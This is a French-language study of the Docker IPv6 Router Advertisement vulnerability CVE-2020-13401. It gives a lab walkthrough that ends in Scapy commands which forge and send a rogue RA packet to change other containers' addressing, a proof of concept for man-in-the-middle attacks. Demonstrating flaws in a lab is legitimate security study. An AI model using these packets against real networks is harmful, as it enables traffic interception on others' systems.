
Étude sur la vulnérabilité CVE-2020-13401 des conteneurs dans les dockers antérieurs à 19.03.11
Étude sur la vulnérabilité CVE-2020-13401 des conteneurs dans les dockers antérieurs à 19.03.11
Les conteneurs créés avec des versions de Docker Engine antérieures à 19.03.11 sont vulnérables à la réception et à l'application de faux messages RA (Router Advertisement) provenant d'autres conteneurs du réseau. La réception de RA est un comportement normal du système d'exploitation, mais si l'expéditeur du RA n'est pas fiable sur le réseau, le conteneur victime peut recevoir le message, rejoindre le réseau et ensuite envoyer tous les paquets réseau vers le nouveau faux routeur (attaque de l'homme du milieu). Ce problème n'est pas lié à IPv4 et repose sur IPv6.
Source originale de l'entrée CVE : CVE-2020-13401
Dans les versions de Docker Engine antérieures à 19.03.11, les conteneurs acceptent les messages RA par défaut. Considérez qu'il y a un autre conteneur sur le réseau avec la capacité CAP_NET_RAW. Cela signifie que ce conteneur peut créer n'importe quels paquets réseau et les envoyer sur le réseau. Ainsi, ce conteneur peut être utilisé comme source de création de paquets. Dans les versions plus récentes, les conteneurs n'acceptent pas les messages RA à moins que cette fonctionnalité ne soit activée sur le moteur Docker. Par conséquent, le système pourrait toujours être vulnérable si un administrateur décide d'activer cette fonctionnalité.
Il est fortement recommandé de mettre à jour Docker Engine pour protéger votre environnement de conteneurs contre cette vulnérabilité.
Dans cette étude, je souhaite démontrer comment cette vulnérabilité se produit et voir comment notre conteneur est affecté par un message RA.
Dans les conteneurs en cours d'exécution, j'ai testé pour vérifier si IPv6 fonctionnait. Mais j'ai constaté qu'aucun IPv6 n'est pris en charge par défaut dans mon conteneur. Par défaut, tous les conteneurs Docker sont connectés à un réseau bridge et ce réseau ne prend pas en charge IPv6. Pour activer IPv6 pour Docker, il est nécessaire d'ajouter un fichier daemon.json au chemin /etc/docker/. Le contenu de ce fichier doit être le suivant :
{ "ipv6": true, "fixed-cidr-v6": "fd00::/80" }
Il est possible d'attribuer n'importe quelle adresse de sous-réseau IPv6 valide. Ensuite, Docker doit être redémarré et lire à nouveau le fichier daemon depuis le début pour configurer son réseau bridge par défaut. Il est également possible de définir un nouveau réseau pour prendre en charge IPv6.
Commandes pour recharger la configuration et redémarrer Docker :
$ sudo systemctl daemon-reload$ sudo systemctl restart dockerJusqu'à présent, nous avons un Docker qui prend en charge IPv6 et il est temps de créer les conteneurs pour démarrer la simulation. Nous avons besoin d'au moins 2 conteneurs. Je les appelle Ubuntu_1 et Ubuntu_2. Sur votre machine hôte, utilisez les commandes suivantes pour créer vos conteneurs :
$ docker pull ubuntu
$ docker run --name ubuntu_1 -i -t ubuntu bash
$ docker run --name ubuntu_2 -i -t ubuntu bash
Listez vos conteneurs avec cette commande :
$ docker container ls -a
Utilisez les noms de vos conteneurs pour les exécuter :
$ docker container start -ai [NOM_DU_CONTENEUR]
Sur les deux conteneurs, vous avez besoin de quelques outils de base tels que :
| Outil | Commande d'installation |
|---|---|
| nano (ou tout autre éditeur) | apt-get install nano |
| net-tools | apt-get install net-tools |
| hping3 | apt-get install hping3 |
| tcpdump | apt-get install tcpdump |
| scapy | apt install python3-scapy (installer seulement sur 1 conteneur) |
Installez les outils requis et vérifiez si vos conteneurs sont connectés. Pour ce faire, obtenez l'IP et les informations d'interface de votre conteneur à l'aide de la commande ifconfig. Ensuite, ping -6 [IPv6 de destination] l'autre conteneur pour vous assurer qu'ils sont connectés. Vous pouvez également utiliser tcpdump sur votre conteneur de destination pour voir les paquets ping reçus.
(Assurez-vous d'utiliser IPv6 pour pinguer les conteneurs)
Nous voulons envoyer un message RA contrefait depuis l'un des conteneurs du réseau et mettre à jour la table IP (IpTable) des victimes.
J'utilise SCAPY pour créer des messages d'annonce de routeur IPv6. Scapy est basé sur Python. Les étapes d'installation sont les suivantes :
$ sudo apt install python3-scapyLe paquet RA est un paquet broadcast, ce qui signifie qu'il doit être délivré à tous les nœuds du réseau. Il est également basé sur les règles IPv6. Ainsi, l'adresse de destination est ff01::1 et le protocole est basé sur ICMPv6.
Lancez Scapy :
$ scapy
J'utilise ces commandes pour créer et envoyer le paquet sur le réseau :
a = IPv6()
a.dst = "ff02::1"
a.display()
b = ICMPv6ND_RA()
b.display()
c = ICMPv6NDOptSrcLLAddr()
c.lladdr = "02:42:ac:11:00:02"
c.display()
d = ICMPv6NDOptMTU()
d.display()
e = ICMPv6NDOptPrefixInfo()
e.prefixlen = 64
e.prefix = "d00d::"
e.display()
send(a/b/c/d/e)
Après avoir envoyé le paquet, allez sur les autres conteneurs et utilisez à nouveau ifconfig. Vous verrez que votre table IP est mise à jour après avoir reçu les messages RA.
Vous pouvez tirer (pull) mes images Docker personnalisées pour tester et étudier ce problème : Mes images Docker personnalisées